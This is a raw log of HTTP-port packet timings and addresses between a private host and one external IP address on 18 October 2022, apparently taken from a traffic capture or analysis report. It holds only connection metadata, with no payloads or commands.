Oct 18, 2022 13:28:12.230740070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230761051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230779886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230806112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230837107 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230839968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230864048 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230864048 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230910063 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230912924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230930090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230940104 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230967999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.230974913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230998993 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.230999947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231029034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231038094 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231055975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231061935 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231085062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231086016 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231110096 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231113911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231141090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231165886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231194019 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231219053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231245995 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231271029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231292009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231292009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231296062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231292009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231292009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231292009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231292009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231292009 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231321096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231348038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231368065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231368065 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231374979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231404066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.231503963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231504917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231504917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.231504917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292073965 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292148113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292180061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292208910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292238951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292270899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292293072 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292301893 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292331934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292341948 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292341948 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292361975 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292370081 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292391062 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292407036 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292421103 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292424917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292448044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292448997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292468071 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292479038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292496920 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292507887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292526960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292536974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292558908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292567968 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292587042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292598009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292627096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292629004 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292643070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292654991 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292681932 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292684078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292702913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292715073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292747021 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292748928 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292774916 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292776108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292805910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292834997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292864084 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292866945 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292866945 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292866945 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292897940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292913914 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292931080 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.292956114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.292979002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293005943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293013096 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293041945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293044090 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293071032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293107986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293113947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293113947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293113947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293154001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293165922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293201923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293210030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293231010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293243885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293261051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293275118 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293289900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293303013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293318987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293333054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293349028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293363094 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293379068 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293391943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293409109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293421030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293438911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293452024 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293467999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.293479919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.293509960 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354026079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354084969 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354131937 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354175091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354218960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354260921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354279995 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354304075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354347944 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354368925 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354394913 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354408979 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354439974 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354463100 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354482889 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354523897 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354527950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354563951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354595900 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.354906082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354959011 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.354998112 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355005026 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355036974 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355051994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355074883 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355138063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355156898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355185032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355206013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355230093 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355246067 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355276108 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355289936 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355323076 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355344057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355369091 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355386972 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355415106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355460882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355477095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355504990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355521917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355551958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355590105 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355597973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355643988 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355647087 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355684042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355690002 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355725050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355735064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355758905 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355777979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355842113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355844021 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355880022 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355887890 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355916023 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355932951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355954885 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.355978012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.355999947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356025934 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356039047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356071949 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356089115 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356117964 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356133938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356162071 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356179953 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356206894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356220961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356254101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356267929 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356300116 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356314898 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356344938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356360912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356389999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.356403112 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.356446981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417023897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417109966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417145014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417180061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417215109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417244911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417270899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417273998 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417304039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417318106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417318106 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417335987 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417335987 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417361975 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417367935 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417381048 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417402983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417413950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417438030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417448044 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417473078 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417481899 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417507887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417519093 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417541981 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417553902 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417573929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417587042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417607069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417618990 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417640924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417650938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417673111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417684078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417707920 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417741060 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417742014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417751074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417773962 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417788029 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417808056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417818069 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417840004 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417853117 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417871952 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417882919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417902946 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417916059 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417934895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417962074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.417967081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.417988062 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418006897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418040037 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418049097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418071032 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418072939 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418082952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418107033 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418121099 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418142080 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418154001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418175936 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418184996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418210983 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418220997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418246031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418262959 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418292046 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418633938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418668985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418698072 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418701887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418721914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418737888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418756962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418771029 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418783903 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418804884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418828964 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418836117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418858051 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418869972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418885946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418920994 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.418927908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418962955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.418981075 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.419064045 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.478764057 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.478806973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.478835106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.478854895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.478863955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.478914022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.478914976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.478941917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.478955030 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.478970051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.478996038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479007959 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479026079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479053020 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479058981 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479083061 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479100943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479110956 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479137897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479142904 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479165077 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479186058 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479193926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479221106 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479226112 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479259014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479283094 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479288101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:12.479314089 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:12.479315996 CEST	80	49701	141.8.199.69	192.168.2.7
